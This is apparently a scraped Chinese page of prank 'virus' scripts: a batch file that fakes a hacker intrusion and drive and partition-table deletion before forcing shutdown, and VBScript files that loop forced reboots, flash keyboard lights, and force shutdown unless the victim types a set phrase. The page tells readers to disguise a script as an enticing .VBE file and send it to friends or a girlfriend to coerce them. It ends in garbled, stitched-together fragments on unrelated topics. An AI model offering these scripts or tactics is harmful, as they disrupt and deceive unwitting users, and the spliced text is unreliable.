@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1nul
2nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
nul
echo.
echo
警告!警告!电脑已被入侵!!!
ping
127.1
/n
3
nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击!
echo.
echo
电脑崩溃!准备关闭系统!
ping
127.1
/n
3
nul
shutdown
-s
-t
nulp
/p
on error resume next
DO
msgbox "嗨!!!!",64,"^_^"
msgbox "嗨!我是黑客",64,"ψ(╰_╯)"
msgbox "你是谁?为什么你家有这么多病毒?",64,"(∵)?"
msgbox "让我控制你的电脑吧~~~",64,"o(∩_∩)o "
msgbox "我来帮你杀毒~~~~",64,"^_^"
msgbox "说实话我不想帮你",64,"(*^__^*) 嘻嘻"
msgbox "还是;来捣乱吧",64,"^_^"
msgbox "首先接我的之一招~~",64,"V.S"
intAnswer = msgbox ("如果没有我将让你的电脑无休止的重起",vbYesNo,"^_^")
If intAnswer = vbYes Then
YONG=Msgbox ("很好那么请你让我知道,如果你不能让我知道你输,我将对所有硬盘进行格式化。嘿嘿!",vbYesNo,"^_^")
msgbox "抱歉 你不能出招...",64,"V.S"
If YONG = vbNo Then
msgbox "哈哈就让键盘灯一直闪吧",64,"^_^"
msgbox chr(13) + chr(13) + chr(13) + "作者:周峻全"
DIM i
While(1)
For i=1 To 10
next
set WshShell=createObject("Wscript.Shell")
WshShell.SendKeys"{CAPSLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{SCROllLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{NUMLOCK}"
WSCRIPT.SLEEP 100
Wend
Else
End If
Else
set TUYONG=wscript.createobject("wscript.shell")
TUYONG.run ("shutdown -r -t 99999 -c 小样你输啦~~~哈哈,关机了!!!!"),,true
End If
LOOP
创建文本文档把后缀改成 .vbe 就好了
这是最贱的
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
手机黑客的这个代码的话他是没有的,正常情况下,如果你要是找一个黑客的话,找专业的人员帮忙,这样的话才可以,不然的话都没有的。
这位童鞋,我很同情你,你的心情我理解可是你要想学黑客你必须掌握C之类的,可你只是想怎能整。。。。。人
192011年前的菜刀支撑assert类型的webshell,2014年今后的菜刀不支撑assert类型的webshell--context-map [directory] Generate c...
篪怎么读?篪是什么意思?篪的词语出处也是那里?很多人在生活、学习中遇到“篪”这个字,大家都不知道怎么读这个生僻字。你想知道这些有趣的生僻字怎么读吗?豪友网专门精心整理了生僻字怎么读相关的内容,为你释疑...
用户分层,是基于大方向的划分,你希望用户朝什么核心目标努力,而用户分群,则是将他们切分更细的粒度提高效果。两者是相辅相成的。 什么是用户运营? 它以最大化提升用户价值为目的,通过各类运营手段提...
2、点左下角的”Hosts”->”Scan MAC Addresses”,取得本网段的一切主机列表:// TODO Auto-generated method stub.NET Framewor...
密封试验的意义: 是小范围的测试,主要是为了发现问题和解决问题。一般来说,测试是通过一个或几个通道进行的,大多数关闭的测试文件会在结束后被删除。 密封和测试的目的: 1.发现问题-解决...
自然资源部等7部门明确农民的宅基地使用权可依法由城镇户籍子女继承—— 老家的宅基地,可以继承使用了 邱海峰 贾润梅 进城落户,农村老家的宅基地咋办?不少人曾被这个问题困扰。近日...